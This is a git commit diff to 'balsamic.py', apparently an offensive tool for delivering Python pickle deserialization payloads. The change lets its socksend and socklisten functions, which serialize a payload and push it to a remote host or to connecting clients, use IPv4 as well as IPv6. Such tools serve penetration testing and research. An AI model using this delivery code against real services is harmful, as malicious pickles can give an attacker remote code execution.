Update balsamic.py

main
witchdocsec 2024-05-24 23:07:34 +01:00 committed by GitHub
parent d4af6493ae
commit 22e6b8a06c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 6 additions and 4 deletions

View File

@ -55,11 +55,12 @@ def webreq(method, url, payload, param=None, cook=None, custom_headers=None):
)
return f"Firing webreq attack against {url}"
def socksend(rhost, rport, payload, enc, steps=0):
def socksend(rhost, rport, payload, enc, steps=0, use_ipv6=False):
rport = int(rport)
steps = int(steps)
payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
family = socket.AF_INET6 if use_ipv6 else socket.AF_INET
with socket.socket(family, socket.SOCK_STREAM) as s:
s.connect((rhost, rport))
for _ in range(steps):
s.sendall(b"arb")
@ -67,11 +68,12 @@ def socksend(rhost, rport, payload, enc, steps=0):
s.sendall(payload)
s.close()
def socklisten(lport, payload, enc, steps=0):
def socklisten(lport, payload, enc, steps=0, use_ipv6=False):
lport = int(lport)
steps = int(steps)
payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
family = socket.AF_INET6 if use_ipv6 else socket.AF_INET
with socket.socket(family, socket.SOCK_STREAM) as s:
s.bind(('localhost', lport)) # Bind to localhost or a specific IP address
s.listen(1)
conn, addr = s.accept()